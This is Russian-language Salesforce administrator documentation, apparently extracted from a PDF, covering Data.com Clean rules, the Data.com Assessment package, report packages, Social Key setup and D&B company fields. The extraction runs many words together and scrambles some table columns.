умолчанию

Автоматическое
заполнение
пустых полей

ИнтересКомпании
Data.com для
интересов

Сведения о
компании для
интересов
(бета-версия)*

• «Годовой
доход»  (в
долларах
США)

• Компания

• Эл. почта

• Адрес

• Номер
D-U-N-S
компании

• Номер
D-U-N-S
компании

• Компания
D&B

• Количество
сотрудников

• Отрасль

*Доступно только при наличии лицензии Data.com Premium Clean

СМ. ТАКЖЕ:

Настройка правил очистки

О правилах очистки

Рекомендации по определению эффективности правил очистки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Правила очистки геокода
доступны в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Другие правила очистки
доступны при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Хотите узнать, насколько эффективно функция Data.com Clean работает для вашей
организации? Посетите страницу «Clean Vitals», на которой показан уровень совпадения
для ваших правил очистки. Там показывается процент обработанных записей, которые
Data.com сопоставила с записью в службе данных. При совпадении записи ее можно
обновить актуальными данными.

• Встолбце «Ошибки» указываетсячислоошибок, возникшихприобработкезаписей.
Ошибкавозникаетприневозможностиобновитьобработаннуюзаписьиз-затриггера,
бизнес-правила, правила обработки дубликатов или правила проверки. Щелкните
числоошибок, чтобызагрузитьфайл, в которомсодержитсяидентификаторкаждой
записи с ошибкой и соответствующее сообщение об ошибке. Доступна только
последняя ошибка для записи. В столбце «Ошибки» содержится максимум 10 000
ошибок на одно правило очистки.

• Для правил очистки, которые активировались в последние 24 часа, данные не
отображаются.
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Определение количества записей, нуждающихся в информационном пополнении

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов:
• «Загрузка пакетов

AppExchange»

Для выполнения оценки
данных Data.com:
• Специальные

полномочия не
требуются

Для просмотра оценки
данных Data.com:
• Специальные

полномочия не
требуются

«ОценкиданныхData.com» — этобесплатныйпакетAppExchangeот компании Salesforce,
позволяющий определять количество записей, которое организация может дополнить
посредствомданныхData.com. Данныйпакетопределяетколичествозаписей, помеченных
статусом «Неактивно» в Data.com, и количество повторяющихся записей Salesforce
(запрашивается пользователем отдельно).

Кроме того, пакет «Оценки данных Data.com» охватывает поля организаций, контактов
и интересов, а также отображает напротив каждого поля количество записей, где оно
содержит пустое значение, и количество записей, где оно содержит значение,
отличающеесяот значенияData.com. (Например, поле «Тел.» может содержатьпустое
значениев 10 записяхорганизаций, аполе «Имя организации» может содержатьпустое
значение в 5 записях контактов.)Данныйпакет может использоваться при определении
необходимости приобретения функции Data.com Clean, обновляющей поля, которые
содержат пустые или устаревшие значения. Если функция Data.com Clean уже
используется, то пакет отображает получаемую выгоду.

1. Установите приложение «Оценки данных Data.com» из каталога AppExchange.

2. Чтобыоткрытьприложение «Оценкиданных», выберитепункт «Оценки Data.com»
в меню приложений Force.com.

3. Чтобы задать настройки оценки, откройте вкладку «Оценка Data.com».

4. Нажмите кнопку «Начать мою оценку».
Приложение отображает примерное время выполнения. Данное время вычисляется
исходя из средней скорости обработки записей (15 записей в секунду) и округляется
до целого часа. Например, оценка 200 000 записей организаций занимает примерно
3 часа 45 минут. Однако вычисленное время округляется до 4 часов.

5. После завершения оценки выберите пункт «Оценки Data.com» в меню
приложений Force.com.

6. Последовательно откройте вкладки «Оценка Data.com» и «Оценки».

7. Щелкните «Просмотр оценок» напротив нужной оценки.

8. Просмотрите доступные вкладки. Описание каждой вкладки см. ниже.

ОписаниеВкладка

Разделение набора записей, проанализированных для оценки.
Данная вкладка содержит количество записей, доступных для
обновления, количество неактивных записей Data.com и
количество повторяющихся записей (запрашивается
пользователемотдельнопривыполненииоценки). Кроме того,
данная вкладка содержит количество записей, совпавших с
записями Data.com, и количество несовпавших записей.

Сводка

Разделение совпавших записей организаций для отображения
количества и процента записей по статусу и определения

Организации

процента совпадений. Кроме того, пакет «Оценки данных
Data.com» охватываетполяорганизацийиотображаетнапротив
каждого поля количество записей, где оно содержит пустое
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ОписаниеВкладка

значение, и количество записей, где оно содержит значение, отличающееся от значения
Data.com. (Например, поле «Тел.» может содержать пустое значение в 10 записях
организаций.)

Разделение совпавших записей контактов для отображения количества и процента
записей по статусу и определения процента совпадений. Кроме того, пакет «Оценки

Контакты

данных Data.com» охватывает поля контактов и отображает напротив каждого поля
количество записей, где оно содержит пустое значение, и количество записей, где оно
содержитзначение, отличающеесяотзначения Data.com. (Например, поле «Организация»
может содержать пустое значение в 5 записях контактов.)

Разделение совпавших записей интересов для отображения количества и процента
записей по статусу и определения процента совпадений. Кроме того, пакет «Оценки

Интересы

данных Data.com» охватывает поля интересов и отображает напротив каждого поля
количество записей, где оно содержит пустое значение, и количество записей, где оно
содержит значение, отличающеесяот значенияData.com. (Например, поле «Должность»
может содержать значение, отличающеесяот значения Data.com, в 12 записяхинтересов.)

Алгоритм сопоставления Data.com использует ключевые поля для определения
совпадений. Данная вкладка содержит ключевые поля, а также отображает количество и

Не совпало

процентпустых значений срединесовпавших записей. Добавление допустимыхданных
в ключевые поля позволяет улучшить результаты сопоставления.

Отображает ожидаемый уровень совпадения организации с использованием службы
сопоставления DUNSRight. Коддостоверности — эточислоот 1 до 10. Коддостоверности

DUNSRight

совпадения, равный 10, представляет наиболее точное совпадение. Можно установить
пороговый уровень достоверности, который обозначает записи как «Совпадение» или
«Частичное совпадение». Совпадающие записи автоматически добавляются в
автоматический процесс очистки. Можно также вручную добавить записи с частичным
совпадением в автоматический процесс очистки.

Установка и внедрение пакетов отчетов Data.com из каталога AppExchange

Данные организаций, контактов и интересов могут быть проанализированы посредством дополнительных отчетов.

Отчеты и панели мониторинга Data.com

Чтобы определить степень влияния данных Data.com на бизнес-процессы, воспользуйтесь бесплатными пакетами
отчетовData.comизкаталогаAppExchange, предназначенныхдляанализаданныхорганизаций, контактовиинтересов.

Установка и внедрение пакетов отчетов Data.com из каталога AppExchange

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов:
• «Загрузка пакетов

AppExchange»

Данныеорганизаций, контактовиинтересовмогутбытьпроанализированыпосредством
дополнительных отчетов.

Доступно в версиях: Salesforce Classic.

Доступно при наличии лицензии Data.com Prospector в версиях: Professional Edition,
Enterprise Edition, Performance Edition и Unlimited Edition.
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Доступно при наличии лицензии на функцию Data.com Clean в версиях: Professional Edition, Enterprise Edition,
Performance Edition и Unlimited Edition.

КаталогAppExchange содержитнесколькопакетовотчетовData.com. Пакетыотчетов, подлежащиеустановке, определяются
нужным типом данных и используемыми продуктами Data.com. Ниже перечислены доступные пакеты и рекомендации
по их установке.

РекомендацииСодержимоеДоступный пакет отчетов
AppExchange

Данный пакет может быть установлен
только организацией, использующей
продукт Data.com Prospector.

Панель мониторинга и связанные
отчеты, предназначенные для
менеджеров по продажам и
позволяющие определять значимость

Data.com Prospector Reports

Data.com в отношении
преобразованных интересов,
прогнозов по продажам и доходов.

Данный пакет может быть установлен
только организацией, использующей
функцию Data.com Clean.

Панель мониторинга и связанные
отчеты, предназначенные для
сотрудников отдела продаж и
ответственных за очистку данных
Salesforce.

Data.com Clean Reports

Данный пакет может быть установлен
только организацией, использующей

Панель мониторинга и связанные
отчеты, использующиерасширенный

Использование пакета «Оценки
данных Data.com»

продукт Data.com Premium Prospector
или Data.com Premium Clean.

набор данных компаний D&B для
предоставления пользователям
уникальной информации об
организациях, позволяющейповысить
эффективностьпланированияпродаж
и применения бизнес-стратегий.

Организация может запрашивать не
более одной оценки каждые 30 дней.

Данныйпакетпозволяетоценитьвклад
Data.com в обновление собственных
данных.

1. Откройте страницу нужного пакета отчетов Data.com.

2. Нажмите кнопку «Получить сейчас!».

3. Установите нужные пакеты отчетов Data.com.

4. Прииспользованииверсии Professional Edition дополнитемакетыстраницперечисленныминижеполями. Впротивном
случае данные поля будут отсутствовать в отчетах.

ПоляМакет страницы

Извлечено из Data.comОрганизация

Извлечено из Data.comКонтакт
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ПоляМакет страницы

Извлечено из Data.comИнтерес

Извлечено из Data.comВозможность

5. Сообщите пользователям список доступных отчетов и панелей мониторинга Data.com.

Отчеты и панели мониторинга Data.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов
Data.com:
• «Запуск отчетов»

ЧтобыопределитьстепеньвлиянияданныхData.comнабизнес-процессы, воспользуйтесь
бесплатнымипакетамиотчетовData.comиз каталогаAppExchange, предназначенныхдля
анализа данных организаций, контактов и интересов.

Доступно в версиях: Salesforce Classic.

Доступно при наличии лицензии Data.com Prospector в версиях: Professional Edition,
Enterprise Edition, Performance Edition и Unlimited Edition.

Доступно при наличии лицензии на функцию Data.com Clean в версиях: Professional
Edition, Enterprise Edition, Performance Edition и Unlimited Edition.

Каталог AppExchange содержит несколько пакетов отчетов Data.com. Каждый пакет отчетов содержит одну панель
мониторингаинесколькостандартныхотчетов, предназначенныхдляанализаданныхорганизаций, контактовиинтересов.

Прежде чем воспользоваться отчетом или панельюмониторинга, обратитесь к системному администратору с просьбой
установить соответствующий пакет. Чтобы просмотреть список доступных отчетов, откройте вкладку «Отчеты». Чтобы
выполнить одиниз отчетов, щелкните соответствующуюпапку для просмотра списка отчетов, а затем выберите нужный
отчет.

СодержимоеДоступный пакет отчетов AppExchange

Панельмониторингаисвязанныеотчеты, предназначенные
для менеджеров по продажам и позволяющие определять

Data.com Prospector Reports

значимость Data.com в отношении преобразованных
интересов, прогнозов по продажам и доходов.

Панельмониторингаисвязанныеотчеты, предназначенные
для сотрудниковотделапродажиответственныхзаочистку
данных Salesforce.

Data.com Clean Reports

Панель мониторинга и связанные отчеты, использующие
расширенный набор данных компаний D&B для

Data.com Premium Reports

предоставления пользователям уникальной информации
оборганизациях, позволяющейповысить эффективность
планирования продаж и применения бизнес-стратегий.

СМ. ТАКЖЕ:

Установка и внедрение пакетов отчетов Data.com из каталога AppExchange
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Рекомендации по обеспечению полноты и актуальности записей организации с
помощью функции Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
очистки Data.com Clean:
• «Настройка

приложения»

Для резервного
копирования данных:
• «Экспорт данных»

Для настройки функции
отслеживанияжурнала поля:
• «Настройка

приложения»

Для настройки параметров
безопасности поля:
• «Настройка

приложения»

Ниже перечислены некоторые советы и рекомендации по внедрению, контролю и
использованиюфункции Data.com Clean.

• Изучите процесс сопоставления записей.

• Прежде чем активировать автоматические задания по очистке в производственной
организации, рекомендуем проверить их работу в безопасной среде.

ПослевключенияфункцииData.com Cleanвпроизводственнойорганизацииобновите
безопаснуюсредудляиспользованиятехжеполномочийиданных. Чтобынастроить
функцию очистки в безопасной среде, выполните действия, описанные в разделе
«Внедрениефункцииочистки Data.com Clean». Еслизаданиявыполняютсябезошибок
в безопасной среде, выполните эти же действия в производственной организации.

• Просмотритеуровнисовпаденияиобновлениянастранице «Аналитикаипоказатели
очистки». Данная страница содержит сведения об общем количестве очищенных,
совпавших и обновленных записей. Данные цифры охватывают все обработанные
записи (посредством очистки вручную, из списка или автоматически), а также
отображают уровни совпадения и обновления после внедрения функции Data.com
Clean в организации.

• Запланируйте регулярное резервное копирование данных организаций, контактов
и интересов. В этом случае записи Salesforce, сопоставленные неверно, могут быть
легко восстановлены. Настоятельно рекомендуем использовать резервное
копирование данных при очистке записей из списков или посредством
автоматических заданий, так как данные методы очистки поддерживают
автоматическое заполнение пустых полей.

• Настройте функцию отслеживания журнала поля для организаций, контактов и
интересов. Функцияотслеживанияжурналаполяпозволяет определятьизмененные
значения полей, а также отслеживать авторов и время внесения изменений. При
использованиифункции отслеживания журнала поля убедитесь, что связанные
списки «Журналорганизации», «Журналконтакта» и «Журналинтереса» добавлены
в соответствующие макеты страниц данных объектов.

• Установите и запустите пакет «Отчеты Data.com».

СМ. ТАКЖЕ:

Data.com Clean
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Настройка Data.com Social Key

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
Social Key:
• «Настройка

приложения»

Позвольте своим представителям получать профили в социальных сетях для своих
контактов и интересов. Для этого просто установите и внедрите Data.com Social Key.

Важное замечание: Начиная с выпуска Spring 16, API-интерфейсы Data.com Social
Key и Data.com Social Profile больше не доступны. На данный момент указатели
социальныхобразов, например, от LinkedIn®, недобавляютсяк записям, очищенным
с помощью Data.com. Также нельзя использовать API-интерфейс Data.com Social
Profile для поиска указателей социальных образов.

Включите функцию «Социальные организации, контакты и интересы» и выберите
нужные социальные сети, если вы этого еще не сделали. После запуска заданий
пользователь может проверить журнал заданий Social Key на странице «Задания по
очистке» в меню «Настройка».

Активация Data.com Social Key

Прежде чем разрешить организации использование функции Social Key для поиска
и связывания двойных указателей с записями контактов и интересов, рекомендуем
включить даннуюфункцию.

Настройка заданий по Data.com Clean для функции Social Key

Функция Social Key дополняет записи двойными указателями на социальные сети
посредством заданий по Data.com Clean. Убедитесь, что задания по очистке
поддерживают функцию Social Key.

Настройка функции Data.com Clean из спискового представления для функции Social Key

Функция Social Key дополняет записи контактов или интересов двойными указателями на социальные сети при их
очистке из списка. Рекомендуем вручную добавить несколько полей в списковые представления, используемые
организацией.

1943

Настройка Data.com Social KeyНастройка и обслуживание инструментов продаж



Активация Data.com Social Key

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
Social Key:
• «Настройка

приложения»

Прежде чем разрешить организации использование функции Social Key для поиска и
связываниядвойныхуказателейсзаписямиконтактовиинтересов, рекомендуемвключить
даннуюфункцию.

Важное замечание: Начиная с выпуска Spring 16, API-интерфейсы Data.com Social
Key и Data.com Social Profile больше не доступны. На данный момент указатели
социальныхобразов, например, от LinkedIn®, недобавляютсяк записям, очищенным
с помощью Data.com. Также нельзя использовать API-интерфейс Data.com Social
Profile для поиска указателей социальных образов.

1. Вменю «Настройка» введите строку «Параметры Social Key» в поле «Быстрый
поиск» и выберите пункт «Параметры Social Key».

2. Щелкните «Включить Social Key».

ПослевключенияфункцииSocial Keyможетотображатьсяуведомлениеонеобходимости
включения и настройки функции «Социальные организации и контакты».

СМ. ТАКЖЕ:

Настройка Data.com Social Key

Настройка заданий по Data.com Clean для функции Social Key

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
Social Key:
• «Настройка

приложения»

Функция Social Key дополняет записи двойными указателями на социальные сети
посредствомзаданийпоData.com Clean. Убедитесь, чтозаданияпоочисткеподдерживают
функцию Social Key.

Важное замечание: Начиная с выпуска Spring 16, API-интерфейсы Data.com Social
Key и Data.com Social Profile больше не доступны. На данный момент указатели
социальныхобразов, например, от LinkedIn®, недобавляютсяк записям, очищенным
с помощью Data.com. Также нельзя использовать API-интерфейс Data.com Social
Profile для поиска указателей социальных образов.

Функция Social Key поддерживает функции «Социальные организации и контакты» и
Data.com Clean, позволяя упростить отслеживание контактов и интересов в социальных
сетях. Выберите нужные социальные сети в параметрах функции «Социальные
организации и контакты». Процесс Social Key выполняется во время автоматических
заданий по очистке, поэтому функция Social Key может использоваться только после
включения функции очистки, а также выбора и планирования нужных заданий.

После включенияфункции Social Key следующее запланированное задание по очистке
инициирует полную синхронизацию с записями Data.com для объектов,
поддерживающих задания по очистке (контактыи/илиинтересы). Затемфункция Social
Key регулярно добавляет двойные указатели во время выполнения заданий по очистке.
Например, если задания по очистке выполняются раз в неделю (по средам), то полная
синхронизация будет выполняться заданием Social Key каждую вторую среду.
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Прим.: Неудачное выполнение задания по очистке инициирует ошибку выполнения процесса Social Key. Для
просмотра журналов заданий Clean и Social Key введите «Задания» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Задания».

Чтобы просмотреть дополнительную информацию о настройке функции Data.com Clean или проверке настроек и
параметров, щелкните ссылку «Справка для этой страницы» на любой странице настройки функции очистки.

1. Вменю «Настройка» введите «Параметры очистки» вполе «Быстрый поиск», затемвыберите«Параметрыочистки».

2. Убедитесь, что функция очистки Data.com Clean включена.

3. Вменюнастройкивведите «Предпочтения» вполе «Быстрый поиск», затемвыберите«Предпочтения»подразделом
«Очистки».

4. Убедитесь, чтозаданияпоочисткеподдерживаютсясоответствующимиобъектами. Заданияпоочисткеподдерживаются
контактами и интересами.

5. Введите строку «Задания» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Задания».

6. Убедитесь, что задания по очистке запланированы.

СМ. ТАКЖЕ:

Настройка Data.com Social Key
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Настройка функции Data.com Clean из спискового представления для функции
Social Key

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
Social Key:
• «Настройка

приложения»

Для создания настраиваемых
списковых представлений:
• «Чтение» для типа

записи, добавленного в
список

Для создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Управление

общедоступными
списковыми
представлениями»

Функция Social Key дополняет записи контактов или интересов двойными указателями
на социальныесетиприихочисткеиз списка. Рекомендуемвручнуюдобавитьнесколько
полей в списковые представления, используемые организацией.

Важное замечание: Начиная с выпуска Spring 16, API-интерфейсы Data.com Social
Key и Data.com Social Profile больше не доступны. На данный момент указатели
социальныхобразов, например, от LinkedIn®, недобавляютсяк записям, очищенным
с помощью Data.com. Также нельзя использовать API-интерфейс Data.com Social
Profile для поиска указателей социальных образов.

Функция Social Key поддерживает функции «Социальные организации и контакты» и
Data.com Clean, позволяя упростить отслеживание контактов и интересов в социальных
сетях. Выберите нужные социальные сети в параметрах функции «Социальные
организациииконтакты». Процесс Social Key выполняетсяприочистке записейиз списка.

1. Откройте нужную вкладку: «Контакты» или «Интересы».

2. Выберите нужное представление из раскрывающегося списка и щелкните ссылку
«Правка».

3. Убедитесь, что поле «Статус очистки» добавлено в столбец «Выбранные поля».
Добавление данного поля инициирует автоматическое добавление кнопки
«Очистить» в списковое представление.

4. При необходимости добавьте поля для включенных социальных сетей (LinkedIn,
Twitter или Facebook) в списковые представления контактов.

Полясоциальныхсетейнеподдерживаютсясписковымипредставлениямиинтересов.

СМ. ТАКЖЕ:

Настройка Data.com Social Key

Создание настраиваемых списковых представлений в Salesforce Classic
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Общие сведения о продуктах Data.com для администраторов

Рекомендации по использованию записей компании D&B

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения компаний
D&B:
• «Настройка

приложения»

Ознакомьтесь с рекомендациями по оптимальному использованию записей компании
D&B, которые содержат более 100 отраслей промышленности, финансовую и
коммерческую информацию, собранную компанией Dun & Bradstreet®.

• Продукт Data.com Premium Prospector или Data.com Premium Clean, приобретенный
организацией, предоставляетдоступкобъекту DandBCompany, которыйподдерживает
данные Dun & Bradstreet дляорганизацийиинтересов, добавляемыхвсистемуSalesforce.

• Убедитесь, чтовкладка «Компании D&B» добавленавпрофилипользователей. Через
нее пользователи получают доступ к списку записей компании D&B. Вкладка
«Компании D&B» содержит список всех записей компаний D&B, доступных в системе
Salesforce.

• Чтобыпользователимоглиудалять записикомпании D&B, необходимосоздатьнабор
полномочий, включающийполномочия «Удаление записей компании D&B» и «Чтение
записей компании D&B», и назначить этот набор полномочий пользователям. Кроме
того, может потребоваться кнопка «Удалить» на макетах страниц.

• При использовании продукта Data.com Premium Clean записи компаний D&B могут
обновляться автоматически.

• Добавьте кнопку «Обновить» на макеты страниц компании D&B, чтобы вручную
обновлять записикомпании D&B иполучатьобновленныеданныеот Dun & Bradstreet.
Дляобновлениязаписейкомпании D&B можноиспользоватьавтоматическиезадания.

• Записикомпании D&B, связанныесзаписямиорганизации, неудаляютсяприудалении
связанных записей организации.

• При использовании организаций или интересов, которые не были добавлены из
Data.com (например, созданные вручную), система Salesforce добавляет и связывает
соответствующую запись компании D&B (при ее наличии) с записью организации
или интереса при ее первой очистке.

СМ. ТАКЖЕ:

Настройка макетов страниц для продукта Data.com Prospector и функции Data.com
Clean
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Поля компаний D&B

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Придобавленииилиобновленииорганизацииилиинтереса сиспользованиемData.com
Premium ProspectorилиData.com Premium Clean автоматическисоздается запись компании
D&B и привязывается к организации или интересу через поле «Компания D&B».
Щелкните ссылку в поле «Компания D&B», чтобы просмотреть связанную запись
компании D&B, котораяохватываетболее 100 отраслейпромышленности, предоставляет
финансовую и коммерческую информацию, собранную компанией Dun & Bradstreet®.
Данный продукт предоставляет организации интегрированный доступ к проверенной
глобальной базе данных Dun & Bradstreet, насчитывающей миллионы компаний, прямо
в системе Salesforce.

Пример: При добавлении записи организации Starbucks из Data.com полю
«Компания D&B» присваивается значение «Корпорация Starbucks», которое
отображается при открытии записи. Данное значение подчеркнуто и может
использоваться в качестве ссылки. Чтобы открыть запись компании D&B для
корпорации Starbucks, щелкните соответствующую ссылку.

Пример: Приобновлениизаписиорганизации Google сиспользованиемData.com
Premium Clean, вручную или посредством заданий, после открытия записи этой
организации поле «Компания D&B» принимает значение «Google». Данное
значение подчеркнуто и может использоваться в качестве ссылки. Чтобы открыть
запись компании D&B для корпорации Google, щелкните соответствующуюссылку.

Прим.: Некоторые метки полей D&B отличаются от меток соотнесенных
полейобъекта. Например, полеорганизации «Местоположение организации»
соотноситсясполемсвязаннойкомпании D&B «Тип расположения». Полный
список стандартных соотнесений см. в разделе «Стандартные соотнесения
полей Data.com и Salesforce». на странице 1890

ОписаниеПоле

Общийгодовойобъемпродажвместнойвалютеголовного
офиса. Dun & Bradstreet отслеживает показатели доходов

Годовой объем продаж

для открытых акционерных обществ, глобальных и
локальныхголовныхподразделений, а такжедлянекоторых
главных офисов. Dun & Bradstreet не предоставляет данные
сведения для филиалов.

Достоверность показателя «Годовой объем продаж».
Доступныезначения: Actual number, Low, Estimated

Индикатор годового объема продаж

(for all records) и Modeled (for non-US
records). Пустое значение указывает на недоступность
данных сведений.

Краткое описание компании, которое может содержать
сведения о ее истории, продуктах и услугах, а также об

Описание компании

уровне ее влияния в отдельной отрасли. Эти данные
предоставляются компанией Hoover’s.
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ОписаниеПоле

Вероятность получения платежа намного позже
установленных сроков. Уровень риска определяется на

Риск просрочки платежа

основе стандартного кредитного балла и варьируется от
малого до высокого. Данный показатель также называется
предварительной маркетинговой оценкой. Доступные
значения: High risk of delinquency, Low risk
of delinquency и Moderate risk of
delinquency. Dun & Bradstreet предоставляет данные
сведения только для американских и канадских
организаций.

Важное замечание: Эту информацию разрешается
использовать только с целью предварительного
маркетинга.

Основное имя локального головного подразделения,
являющегося центральным региональнымфилиалом в
корпоративной структуре организации.

Официальное имя локального головного подразделения

Номер D-U-N-S локального головного подразделения,
являющегося центральным региональнымфилиалом в
корпоративной структуре организации.

Номер D-U-N-S локального головного подразделения

Номер D-U-N-S — это уникальный девятизначный номер,
назначаемый каждому офису организации в базе данных

Номер D-U-N-S

Dun & Bradstreet, функциикоторогоотличаютсяотфункций
других офисов. Организации по всему миру используют
номера D-U-N-S в качестве международного стандарта для
коммерческой идентификации и отслеживания.

Номер факсимиле компании.Номер факсимиле

Дополнительныйкод NAICS, используемыйдляподробной
классификации организации по отраслям. См. поле
«Основной код NAICS».

Пятый код NAICS

Краткое описание рода деятельности организации на
основе соответствующего кода NAICS. См. поле «Основное
описание NAICS».

Пятое описание NAICS

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. Максимальная
длина: 8 символов.

Пятый код SIC8*

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. Максимальная длина:
80 символов.

Пятое описание SIC8

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. См. поле
«Основной код SIC».

Пятый код SIC
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ОписаниеПоле

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. См. поле «Основное
описание SIC».

Пятое описание SIC

Дополнительный торговый стиль, используемый
организацией. См. поле «Основной торговый стиль».

Пятый торговый стиль

Коды FIPS (Федеральныйстандартобработкиинформации)
и MSA (Городская статистическая зона) определяют

Код FIPS MSA

местоположение организации. Коды MSA разработаны
Административно-бюджетным управлением США. Dun &
Bradstreet предоставляет данные сведения только для
организаций в США.

Краткое описание кода FIPS MSA организации. Dun &
Bradstreet предоставляет данные сведения только для
организаций в США.

Описание кода FIPS MSA

Дополнительныйкод NAICS, используемыйдляподробной
классификации организации по отраслям. См. поле
«Основной код NAICS».

Четвертый код NAICS

Краткое описание рода деятельности организации на
основе соответствующего кода NAICS. См. поле «Основное
описание NAICS».

Четвертое описание NAICS

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. Максимальная
длина: 8 символов.

Четвертый код SIC8*

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. Максимальная длина:
80 символов.

Четвертое описание SIC8

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. См. поле
«Основной код SIC».

Четвертый код SIC

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. См. поле «Основное
описание SIC».

Четвертое описание SIC

Дополнительный торговый стиль, используемый
организацией. См. поле «Основной торговый стиль».

Четвертый торговый стиль

Числовое значениеместа компаниив Fortune 1000. Нулевое
или пустое значение означает, что компания не входит в
список Fortune 1000.

Место в Fortune 1000

Уровень точности географических координат
местоположения по сравнению с физическим адресом.

Точность геокода

Доступные значения: «Уровень дома», «Уровень улицы»,
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ОписаниеПоле

«Уровень жилого массива», «Уровень района», «Уровень
почтового адреса», «Уровень индекса», «Не удалось назначить
геокод», «Размещает адрес в правильном городе», «Не совпало»,
«Не совпало», «Пересечение улиц», «Расположение абонентского
ящика» и «Точность дома вне США».

Основное имя глобального головного подразделения,
являющегося центральным офисом в корпоративной

Официальное имя глобального головного подразделения

структуре организации и контролирующего деятельность
отделений и филиалов.

Номер D-U-N-S глобального головного подразделения,
являющегося центральным офисом в корпоративной

Номер D-U-N-S глобального головного подразделения

структуре организации и контролирующего деятельность
отделений и филиалов.

Данное поле определяет статус компании: импортер
товаров или услуг, экспортер товаров или услуг или
товарный агент.

Импорт/экспорт

Обязательный код для осуществления международных
вызовов.

Международный телефонный код

Географические координаты, определяющие положение
отдельной точки на земной поверхности относительно

Широта

севера или юга. Наряду с долготой, данное значение
позволяет определить точное местоположение, которое
затем используется для оценки точности геокода.

Данноеполеопределяеторганизационно-правовуюформу
компании. Доступные значения: Cooperative,

Организационно-правовая форма

Nonprofit organization, Local government
body, Partnership of unknown type и Foreign
company.

Валюта для отображения объема продаж компании.
Полный список значений см. на странице Optimizer
Resources, предоставленной компанией Dun & Bradstreet.

Код региональной валюты

Код, используемыйдляотображениярегиональнойвалюты
компании. Данные сведения предоставлены

Код ISO региональной валюты

Международной организацией по стандартизации (ISO) и
отображаются в виде трехбуквенных кодов валюты.
Например, коду USD соответствует американский доллар.

Данное поле определяет ответственность компании за
занимаемое здание: собственость или аренда.

Индикатор ответственности за местоположение
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ОписаниеПоле

Данное поле определяет организационный статус
компании.Доступные значения: «Один офис», «Головной
офис/родитель» и «Филиал».

Тип местоположения

Географические координаты, определяющие положение
отдельной точки на земной поверхности относительно

Долгота

востока или запада. Наряду с широтой, данное значение
позволяет определить точное местоположение, которое
затем используется для оценки точности геокода.

Адрес для доставки корпоративной почты. Данное поле
пропускается при совпадении почтового и основного
адресов.

Почтовый адрес

Двадцать два отдельных взаимоисключающих профиля,
созданных в результате кластерного анализа данных Dun &

Кластер маркетингового сегментирования

Bradstreet для организаций в США. Доступные значения:
High-Tension Branches of Insurance/Utility
Industries, Rapid-Growth Large Businesses,
Labor-Intensive Giants, Spartans и Main
Street USA. Dun & Bradstreet предоставляет данные
сведения только для организаций в США.

Данноеполеопределяеторганизации, принадлежащиеили
контролируемые представителями меньшинства. Dun &

Индикатор принадлежности меньшинству

Bradstreet предоставляет данные сведения только для
организаций в США.

Идентификационный номер, используемый в некоторых
странах для регистрации компаний и уплаты налогов.
Данноеполенеприменяетсякамериканскиморганизациям.

